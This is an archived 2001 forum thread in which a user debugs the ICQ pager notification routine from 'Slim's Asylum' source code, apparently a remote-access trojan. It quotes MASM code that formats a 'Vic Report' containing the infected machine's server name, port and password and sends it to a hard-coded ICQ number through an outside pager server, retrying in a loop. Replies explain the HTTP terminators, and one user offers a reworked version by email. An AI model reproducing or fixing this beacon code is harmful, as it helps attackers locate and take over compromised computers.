Greetz Everyone, New here. Have spent the morning searching the forums for info on ICQ Pager information. Have found some, and some links, but still having problem's. I'm working with "Slim's" Asylum source code as a base for learning. Pager doesn't seem to work, though everything "seems" to be OK in the code except for a few bits of info I don't understand. BTW, I'm using Win2K and MASM32. ;icq notify icqip db '205.188.252.155', 0 icqstr db 'GET /scripts/WWPMsg.dll?from=xMs&fromemail=xMs&subject=' db 'Vic+Report&body=from+the+home+office+_' db '__' db '&to=%s HTTP/1.0', 13, 10, 13, 10, 13, 10, 0 uin db '195674321', 0 To make sure I'm actually passing what I need to be, I constructed a URL that I could paste into a browser and hit return, and it paged fine. That URL is: http://wwp.mirabilis.com/scripts/WWPMsg.dll?to=195674321&from=xMs&fromemail=myemail&subject=mysubject&body=bodytexthere Has anyone else worked with Slim's code? I've also checked: http://www.algonet.se/~henisak/icq/icqv5.html and another "FatPager" or similiar from the archive I found where Nokturnal said he got that one to work. The only part I don't understand is: db '&to=%s HTTP/1.0', 13, 10, 13, 10, 13, 10, 0 I understand the "HTTP/1.0" part, the rest looks like some sort of termination. I noted in a C++ example I've found as well, the construction is similar, but uses "13, 10, 0, 13, 10, 0" at the end. I've tried the varying IP addresses, the actual domain name and everything else I can find on the subject, to no avail. Direction/help? I don't mind chasing my tail, as long as I find a dog biscuit somewhere along the way! :) xMs
Posted on 2001-05-08 16:16:00 by xMs
How do you send the information? Do you open the URL, or do you connect to the webserver and request the page by using the HTTP protocol? The HTTP protocol, in short, sends this to a server to request a page:

GET /filename HTTP/1.1
Header: headerdata
Header2: header2data
etc: etc

The headers are optional, so if you leave out the headers this is left:

GET /filename HTTP/1.1

The CRLF at the end is the terminating CRLF, it indicates that the client is finished with sending the request. In the final line in your code, the 13,10,13,10 are those two CRLFs, but I don't know why the third 13,10 is added. It shouldn't be there as far as I know. Hope this helps, Thomas
Posted on 2001-05-08 17:51:00 by Thomas
Hi Thomas, Thanks for your time in replying. Here is the code from the server.asm file that does the ICQ Pager routine: ICQNotify PROC icqnumber:DWORD LOCAL icqsendbuff[256]:BYTE LOCAL icqsock:DWORD icq_notify: invoke socket, PF_INET, SOCK_STREAM, 0 cmp eax, INVALID_SOCKET jz restarticqloop mov icqsock, eax mov icqsin.sin_family, PF_INET invoke htons, 80 mov icqsin.sin_port, ax invoke inet_addr, addr icqip mov icqsin.sin_addr, eax invoke connect, icqsock, addr icqsin, sizeof icqsin cmp eax, SOCKET_ERROR jz restarticqloop invoke atodw, addr pass cmp eax, 1 jz continue invoke lstrcpy, addr password, addr na continue: invoke wsprintf, addr icqsendbuff, addr icqstr, addr srvname, addr mainport,\ addr password, icqnumber invoke send, icqsock, addr icqsendbuff, eax, 0 cmp eax, SOCKET_ERROR jz restarticqloop invoke closesocket, icqsock ret restarticqloop: invoke closesocket, icqsock invoke Sleep, 512 jmp icq_notify ICQNotify ENDP
Posted on 2001-05-08 21:41:00 by xMs
You've still got a lot of unneeded data in that source. I have modified the code a few months ago to work with any other program, plus...when icq changes their pager ip addy (which they do periodicly) it will still work. You have to send the data like a webpage would. E-mail me if you want the source. I think it comes out to 1.5 or 2.5 after assembly. C-ya, Nok.
Posted on 2001-05-09 00:32:00 by Nokturnal
Nokturnal, Thanks for the offer. I sent email to the address in your email link. xMs
Posted on 2001-05-09 16:28:00 by xMs